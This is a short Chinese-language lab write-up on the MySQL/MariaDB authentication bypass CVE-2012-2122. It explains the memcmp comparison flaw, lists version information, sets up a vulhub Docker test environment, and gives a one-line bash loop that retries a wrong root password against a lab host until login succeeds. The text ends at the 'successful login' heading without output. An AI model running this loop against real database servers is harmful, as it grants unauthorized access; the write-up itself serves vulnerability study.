Mysql 身份认证绕过漏洞(CVE-2012-2122)


当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

参考链接:

  • http://www.freebuf.com/vuls/3815.html
  • https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
    环境搭建:
    启用vulhub靶场,靶场搭建 ——> https://bbs.zkaq.cn/t/6319.html

执行如下命令启动测试环境:
docker-compose up -d
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。

漏洞验证

正常情况我们会做端口扫描,指纹探测:

然后在另一台linux命令行模式下执行poc:

点击查看代码
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.84.201 -P 3306 ; done    #有时候管理员会改默认端口,注意更换

成功登录: